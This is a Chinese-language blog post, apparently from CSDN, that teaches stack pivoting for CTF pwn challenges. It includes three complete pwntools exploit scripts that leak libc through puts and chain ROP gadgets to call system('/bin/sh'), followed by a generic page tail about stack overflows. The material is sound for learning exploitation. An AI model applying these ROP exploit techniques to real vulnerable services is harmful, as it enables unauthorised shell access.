pwn栈迁移总结

一、栈迁移基础

栈迁移往往在发生栈溢出的函数能够溢出的只有rbp与返回地址时进行,由于不能输入更多数据来构造rop链,一般会把栈迁往两个位置,一是原来的栈,二是bss段。

在了解栈迁移之前需要先了解两个汇编指令,这是进行栈迁移的关键,leave,ret,这两个一般在函数的最后都会出现,可以清空栈中内容。

leave可以理解为mov  rsp,rbp;pop rbp这两个汇编指令的效果综合,但只是效果几乎一样,但并不是真的由它俩组成,第一步就是把rbp的值赋给rsp,也就是在同一位置了;第二步是把栈顶内容给rbp,那么rbp去哪就要看原来rbp里面是什么了。

ret可以理解为pop rip,就是执行一次栈顶内容,也就是把栈顶往下放了一个位置(64位是8位,32位是4位)。

那么首先把栈填满后,rbp改为要迁移的位置,返回地址改为leave,ret的地址,栈迁移需要执行两次leave,ret,第一次是程序跑完执行函数最后的,第二次是执行我们输入的。

第一次leaveret:

图上只是leave,ret之后esp到返回地址,并执行第二次leave,ret。

第二次leave,ret:

图上只是leave,ret之后esp到0x7f2。

那么由三道类型不太相同的栈迁移题来加深理解原理和做法。

二、在原来的栈上进行栈迁移

先看主函数,

第一个read只能输入8字节,但是下面有个格式化字符为%p的printf函数,可以利用printf函数遇00截断的特点泄露出一个栈地址,从而计算出rbp地址。然后进行栈迁移泄露并计算出libc基址构造system("/bin/sh"),再次返回该函数,再用一次栈迁移提权。

首先泄露rbp应该被覆盖的位置,通过gdb调试,看printf带出来的是哪个位置,

红线就是printf带出来的地址,那么我们在该地址上加8就是第二次read输入的位置。然后就可以两次栈迁移分别计算libc基址和构造system("/bin/sh")了。

那么具体内容看exp。

from pwn import*
context.log_level='debug'
elf=ELF('./pwn1')
p=process('./pwn1')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ret_rdi=0x401333
leave_ret=0x4012aa
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
p.recvuntil("your name:")
payload=b'a'*(0x8)
#gdb.attach(p)
#pause()
p.send(payload)
p.recvuntil('you: ')
stack=int(p.recv(14),16)
print(hex(stack))
p.recvuntil('more infomation plz:')
payload=(b'a'*8+p64(ret_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4011fb)).ljust(0x50,b'\x00')
payload+=p64(stack+8)+p64(leave_ret)
#前8个是因为最后的ret会将rsp向下走8位
#第一行就是正常的泄露真实地址覆盖到rbp前,rbp改为数据输入的位置,返回地址改为leave,ret
p.send(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
#gdb.attach(p)
#pause()
p.recvuntil("your name:")
payload=b'a'*(0x8)
p.send(payload)
p.recvuntil('you: ')
stack=int(p.recv(14),16)
print(hex(stack))
p.recvuntil('more infomation plz:')
payload=(b'aaaaaaaa'+p64(ret_rdi)+p64(binsh)+p64(ret_rdi+1)+p64(system)).ljust(0x50,b'\x00')
payload+=p64(stack+8)+p64(leave_ret)

p.send(payload)
p.interactive()

三、栈迁移到bss段

依然是先看主函数

跟进变量s,发现第一个read函数是把数据放在了bss段,

而且没有后门,结合上个题的经验,那么这题就是把栈迁往bss段s的位置,再用ret2libc的方法提权。

那么开始思考流程,第一个read先把泄露函数的rop链构造出来,然后第二个read进行栈迁移,这里需要进行gdb调试分析,分析,rbp,rsp,和read读入位置的变化。exp如下:

from pwn import*
#from LibcSearcher import*
context.log_level='debug'
#p=remote('120.46.59.242',2074)
elf=ELF('./pwn2')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ret_rdi=0x4012a3
leave_ret=0x40120e
main=0x4011bd
bss=0x406060
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
p=process('./pwn2')
p.recvuntil("hello")
payload=p64(0)+p64(ret_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
#这里的p64(0)是因为ret而多加的8位
#gdb.attach(p)
#pause()
p.send(payload)
p.recvuntil('say?')
payload=(b'a'*8).ljust(0x60,b'\x00')+p64(bss)+p64(leave_ret)
#gdb.attach(p)
#pause()
p.send(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
p.recvuntil("hello")
payload=b'a'*8+p64(ret_rdi)+p64(binsh)+p64(ret_rdi+1)+p64(system)
p.send(payload)
p.recvuntil('say?')
payload=(b'a'*8+p64(ret_rdi)+p64(binsh)+p64(ret_rdi+1)+p64(system)).ljust(0x60,b'\x00')
payload+=p64(0x406020)+p64(leave_ret)
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()

第一次栈迁移完成后,栈顶就在0x406060了,原来认为是与第一题一样在栈上进行的栈迁移,但是gdb调试时,发现栈位置发生变化了,于是最后一次payload根据gdb调试看到的rsp迁往了0x406020。

但是至于什么原理,我觉得是因为bss段,但具体并不清楚。

三、只有一个读入函数的栈迁移

先看ida

读入函数只有一个了,而且无法泄露rbp,那么依然是迁往bss段,于是需要多次利用这个read

函数,那么怎样做到多次利用,并控制它的读入位置呢,看它的汇编代码。

可以看到第一行,这个lae汇编指令就是把rbp加上buf的值赋给了rax,第三行再把rax的值赋给rsi作为read函数读入位置的参数,而buf固定为0x50,所以确定读入位置由rbp决定,那我们可以通过pop rbp来控制rbp更改读入位置。

那就可以第一个payload控制之后读入在bss段,

第二个payload控制之后读入在bss+0x500的位置,因为构造system函数需要足够大的位置。

那第三个payload就可以构造system链了。

下面是完整exp:

from pwn import*
context.log_level='debug'
elf=ELF('./pwn5')
p=process('./pwn5')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ret_rdi=0x4012b3
ret_rbp=0x40115d
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bss=0x404020+0x200
read=0x4011ff
leave_ret=0x401227
p.recvuntil("just chat with me:")
pay=b'a'*0x50+p64(bss+0x50)+p64(read)
#bss+0x50是buf为-0x50,便于计算
#gdb.attach(p)
#pause()
p.send(pay)
pay=(b'a'*8+p64(ret_rdi)+p64(puts_got)+p64(puts_plt)+p64(ret_rbp)+p64(bss+0x500+0x50)+p64(read)).ljust(0x50,b'\x00')
#控制下次读入到bss+0x500的位置
pay+=p64(bss)+p64(leave_ret)
#栈迁移到bss的位置
#gdb.attach(p)
#pause()
p.send(pay)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
payload=(b'a'*8+p64(ret_rdi)+p64(binsh)+p64(ret_rdi+1)+p64(system)).ljust(0x50,b'\x00')
payload+=p64(bss+0x500)+p64(leave_ret)
#栈迁移到bss+0x500的地方,并执行此处的所构造的rop链
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()

以上是学习栈迁移之后的总结。

  • 52
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
PWN是一种以攻破计算机系统中的漏洞为目的的竞赛类型,参赛者需要利用漏洞进行攻击并获取系统权限。在ctfshow PWN中,溢出是一种常见的攻击方式。 根据提供的引用,我了解到溢出是一种通过向程序输入过长的数据导致数据溢出的一种攻击手段。是一种数据结构,用于存储程序的局部变量和函数调用的返回地址等信息。当程序接收到超出空间大小的数据时,溢出的数据会覆盖到上的其他数据,从而可能改变程序的执行流程。 根据引用,在ctfshow PWN中,参赛者可以利用溢出漏洞来控制程序的执行流程。通过向程序输入特制的数据,可以覆盖控制流中的返回地址,使程序跳转到攻击者精心构造的代码,从而达到获取系统权限的目的。 具体来说,参赛者可以通过向程序发送超出预期的数据,覆盖上的返回地址,使其指向攻击者准备好的恶意代码,从而实现溢出攻击。攻击者可以利用此漏洞来执行任意代码,包括获取系统权限、执行恶意操作等。 引用和引用提供了一些示例代码,演示了如何利用溢出漏洞进行攻击。这些代码使用Python的pwn库来与目标程序进行交互,并通过构造特制的payload来触发溢出漏洞,最终实现控制程序执行流程的目的。 需要注意的是,溢出是一种非常危险的漏洞,合法的程序设计应该避免出现此类问题。在实际应用中,为了防止溢出攻击,开发者需要加强输入验证和数据处理等安全机制。 总结起来,ctfshow PWN溢出是一种通过向程序输入过长数据导致溢出的攻击方式,在该竞赛中常用于获取系统权限和执行恶意操作。攻击者可以利用漏洞覆盖返回地址,使程序执行恶意代码。然而,溢出是一种危险的漏洞,合法的程序设计应该避免此类问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [ctfshow pwn4](https://blog.csdn.net/qq_39980610/article/details/126461902)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [ctfshow pwn5](https://blog.csdn.net/qq_39980610/article/details/126462163)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

江屿..

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值